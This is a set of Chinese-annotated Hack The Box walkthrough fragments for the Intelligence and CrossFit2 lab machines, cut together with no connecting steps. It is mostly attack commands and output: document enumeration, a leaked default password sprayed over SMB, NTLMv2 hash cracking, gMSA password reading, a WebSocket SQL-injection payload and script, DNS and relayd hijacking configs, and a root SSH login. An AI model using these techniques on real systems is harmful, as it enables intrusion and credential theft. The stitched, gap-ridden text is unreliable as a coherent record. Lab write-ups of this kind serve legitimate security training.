for y inrange(2020, 2022): for m inrange(1, 13): for d inrange(1, 32): url = f'http://intelligence.htb/documents/{y}-{m:02}-{d:02}-upload.pdf' if requests.get(url).status_code == 200: print(url)
$ python3 ~/tools/impacket/examples/GetNPUsers.py -dc-ip 10.129.85.15 -no-pass -usersfile usernames intelligence/ [-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Scott.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Veronica.Patel doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jennifer.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Danny.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Reed doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Stephanie.Young doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Daniel.Shelton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User John.Coleman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Brian.Morris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Thomas.Valenzuela doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Travis.Evans doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Samuel.Richardson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Richard.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Mcbride doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Anita.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Brian.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Kelly.Long doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Nicole.Brock doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Kaitlyn.Zimmerman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jason.Patterson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Darryl.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Teresa.Williamson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Ian.Duncan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jessica.Moody doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Tiffany.Molina doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Thomas.Hall doesn't have UF_DONT_REQUIRE_PREAUTH set
没有用户设置UF_DONT_REQUIRE_PREAUTH
让我们将PDF转换为文本文件，在这些文档内容中查找有用信息
首先安装poppler-utils
1
$ sudo apt install poppler-utils
执行以下脚本，将当前目录下的PDF转换为TXT存放到txt目录下
1 2 3 4 5
#!/bin/bash mkdir txt for pdf in *.pdf; do pdftotext -layout $pdf txt/$pdf.txt done
$ grep password -R 2020-06-04-upload.pdf.txt:Please login using your username and the default password of: 2020-06-04-upload.pdf.txt:After logging in please change your password as soon as possible.
查看2020-06-04-upload.pdf.txt的内容
1 2 3 4 5 6
New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
$ smbmap -H 10.129.85.15 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' [+] IP: 10.129.85.15:445 Name: intelligence.htb Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC IT READ ONLY NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share Users READ ONLY
Users共享在/Users目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
$ smbclient //10.129.85.15/Users -U Tiffany.Molina Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Sun Apr 18 21:20:26 2021 .. DR 0 Sun Apr 18 21:20:26 2021 Administrator D 0 Sun Apr 18 20:18:39 2021 All Users DHSrn 0 Sat Sep 15 03:21:46 2018 Default DHR 0 Sun Apr 18 22:17:40 2021 Default User DHSrn 0 Sat Sep 15 03:21:46 2018 desktop.ini AHS 174 Sat Sep 15 03:11:27 2018 Public DR 0 Sun Apr 18 20:18:39 2021 Ted.Graves D 0 Sun Apr 18 21:20:26 2021 Tiffany.Molina D 0 Sun Apr 18 20:51:46 2021
smb: \Tiffany.Molina\Desktop\> ls . DR 0 Sun Apr 18 20:51:46 2021 .. DR 0 Sun Apr 18 20:51:46 2021 user.txt AR 34 Sun Jul 4 03:09:54 2021 smb: \Tiffany.Molina\Desktop\> get user.txt
User Ted.Graves
NETLOGON共享为空，SYSVOL没有包含什么有用的信息
IT共享包含一个downdetector.ps1文件
1 2 3 4 5 6 7 8 9 10
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($recordinGet-ChildItem"AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like"web*") { try { $request = Invoke-WebRequest-Uri"http://$($record.Name)"-UseDefaultCredentials if(.StatusCode -ne200) { Send-MailMessage-From'Ted Graves <Ted.Graves@intelligence.htb>'-To'Ted Graves <Ted.Graves@intelligence.htb>'-Subject"Host: $($record.Name) is down" } } catch {} }
$ grep -i ted -R 2020-12-30-upload.pdf.txt:There has recently been some outages on our web servers. Ted has gotten a
$ cat 2020-12-30-upload.pdf.txt Internal IT Update There has recently been some outages on our web servers. Ted has gotten a script in place to help notify us if this happens again. Also, after discussion following our recent security audit we are in the process of locking down our service accounts.
$ john ted.graves.hashes --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Mr.Teddy (Ted.Graves) 1g 0:00:00:13 DONE (2021-07-04 13:10) 0.07570g/s 818734p/s 818734c/s 818734C/s Mrz.deltasigma..Morgant1 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
该脚本通过LDAP读取CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb条目的msDS-ManagedPassword属性获取svc_int$的MSDS-MANAGEDPASSWORD_BLOB，将其解析为NT Hash后输出
以下是msDS-ManagedPassword属性的描述
gMSA is short for group managed service accounts in Active Directory. gMSA accounts have their passwords stored in a LDAP property called msDS-ManagedPassword which automatically get resets by the DC’s every 30 days, are retrievable by authorized administrators and by the servers who they are installed on. msDS-ManagedPassword is an encrypted data blob called MSDS-MANAGEDPASSWORD_BLOB and it’s only retrievable when the connection is secured, LDAPS or when the authentication type is ‘Sealing & Secure’ for an example. —— https://cube0x0.github.io/Relaying-for-gMSA/
$ rustbuster dir -u http://10.10.10.232/ -f -e php,json,txt,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 403,404 GET 200 OK http://10.10.10.232/index.php GET 301 Moved Permanently http://10.10.10.232/images => http://10.10.10.232/images/ GET 200 OK http://10.10.10.232/ GET 200 OK http://10.10.10.232/index.php/ GET 200 OK http://10.10.10.232/contact.php GET 200 OK http://10.10.10.232/contact.php/ GET 200 OK http://10.10.10.232/blog.php GET 200 OK http://10.10.10.232/blog.php/ GET 301 Moved Permanently http://10.10.10.232/img => http://10.10.10.232/img/ GET 301 Moved Permanently http://10.10.10.232/css => http://10.10.10.232/css/ GET 301 Moved Permanently http://10.10.10.232/js => http://10.10.10.232/js/ GET 200 OK http://10.10.10.232/about-us.php GET 200 OK http://10.10.10.232/about-us.php/ GET 200 OK http://10.10.10.232/classes.php/ GET 200 OK http://10.10.10.232/classes.php GET 301 Moved Permanently http://10.10.10.232/vendor => http://10.10.10.232/vendor/ GET 200 OK http://10.10.10.232/elements.php/ GET 200 OK http://10.10.10.232/elements.php GET 200 OK http://10.10.10.232/readme.txt ERROR rustbuster > http://crossfit.htb/ws.json/ - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws/ - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.xml - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.php/ - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.php - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.json - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.xml/ - "connection closed before message completed" ERROR rustbuster > http://crossfit.htb/ws.txt - "connection closed before message completed" GET 301 Moved Permanently http://10.10.10.232/fonts => http://10.10.10.232/fonts/
ws开头的路径全部提示"connection closed before message completed"，访问http://10.10.10.232/ws/服务器长时间未响应，可能使用WebSocket协议
$ wscat -c 'ws://crossfit.htb/ws/' Connected (press CTRL+C to quit) < {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"29d3ac9e51c80fb94421abbb75d886bbef6af2b07cb02099da3c693fbc93b4a2"}
> {"token":"98fc838a4e3bd25c4186ef7d6ef781c3f858101bc18ca0a25f25d5c10c341f1a","message":"available","params":"1"} < {"status":"200","message":"Good news! This membership plan is available.","token":"8913d418f27d98ef1861444c23167b06fdea541c549296709bb7fc06603c9853","debug":"[id: 1, name: 1-month]"}
在param参数中输入SQLI Polyglot SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/，发现存在SQL注入
1 2 3
> {"token":"45ffe152a2ac72c843ad18c69a506d3f3dbab7a6b7a0f849278dd74f605aca82","message":"available","params":"SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/"} ## 5秒后收到： < {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"8917b81217ce4df30cfcf2c9cb724f005c291aa311c5709aebeffd5b5ee2f348","debug":"[id: SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/]"}
方便起见，编写了一个python脚本自动填写token字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from websocket import create_connection import json import sys
uri = 'ws://crossfit.htb/ws/'
defsend(payload): ws = create_connection(uri) token = json.loads(ws.recv())['token'] d = json.dumps({'token':token, 'message':'available', "params":payload}) ws.send(d) result = json.loads(ws.recv()) return result
payload = sys.argv[1] result = send(payload) print(result)
输入几个Payload验证，存在基于Boolean的SQL注入
1 2 3 4
$ python3 sqli.py "111 or 1=1-- '" {'status': '200', 'message': 'Good news! This membership plan is available.', 'token': 'a33574d330db6d82eb07946c1815f4334a7ed39c344c08187682c85d2e519844', 'debug': '[id: 1, name: 1-month]'} $ python3 sqli.py "111 or 1=0-- '" {'status': '200', 'message': "I'm sorry, this membership plan is currently unavailable.", 'token': '503f017ef288b3b5636c4598b882a235c6d966e2e3e9a0c31d7cc812c491c7c0', 'debug': "[id: 111 or 1=0-- ']"}
relayd is a daemon to relay and dynamically redirect incoming connections to a target host. Its main purposes are to run as a load-balancer, application layer gateway, or transparent proxy.
table<1>{127.0.0.1} table<2>{127.0.0.1} table<3>{127.0.0.1} table<4>{127.0.0.1} http protocol web{ pass request quick header "Host" value "*crossfit-club.htb" forward to <3> pass request quick header "Host" value "*employees.crossfit.htb" forward to <2> match request path "/*" forward to <1> match request path "/ws*" forward to <4> http websockets }
table<5>{127.0.0.1} table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4} http protocol portal{ pass request quick path "/" forward to <5> pass request quick path "/index.html" forward to <5> pass request quick path "/home" forward to <5> pass request quick path "/login" forward to <5> pass request quick path "/chat" forward to <5> pass request quick path "/js/*" forward to <5> pass request quick path "/css/*" forward to <5> pass request quick path "/fonts/*" forward to <5> pass request quick path "/images/*" forward to <5> pass request quick path "/favicon.ico" forward to <5> pass forward to <6> http websockets }
relay web{ listen on "0.0.0.0" port 80 protocol web forward to <1> port 8000 forward to <2> port 8001 forward to <3> port 9999 forward to <4> port 4419 }
relay portal{ listen on 127.0.0.1 port 9999 protocol portal forward to <5> port 8002 forward to <6> port 5000 mode source-hash }
$ unbound-control-setup -h usage: /usr/sbin/unbound-control-setup OPTIONS OPTIONS -d <dir> used directory to store keys and certificates (default: /etc/unbound) -h show help notice -r recreate certificates
pass request quick header "Host" value "*crossfit-club.htb" forward to <3> pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232 dnsmasq: config iemployees.crossfit.htb is YOUR_IP dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232 dnsmasq: config iemployees.crossfit.htb is YOUR_IP
{"sender_id":14,"content":"Pushups go brrrrrrrr","roomId":14,"_id":243} {"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":244} {"sender_id":13,"content":"Do you like Shakespeare?","roomId":13,"_id":246} {"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":247}
“Hello David, I’ve added a user account for you with the password NWBFcSe3ws4VDhTB.”
$ ssh root@crossfit.htb -i id_rsa root@crossfit.htb's password: cvdhgrcdcgchuuuujrnnftibvththecb OpenBSD 6.8 (GENERIC.MP) #4: Mon Jan 11 10:35:56 MST 2021 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. crossfit2# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
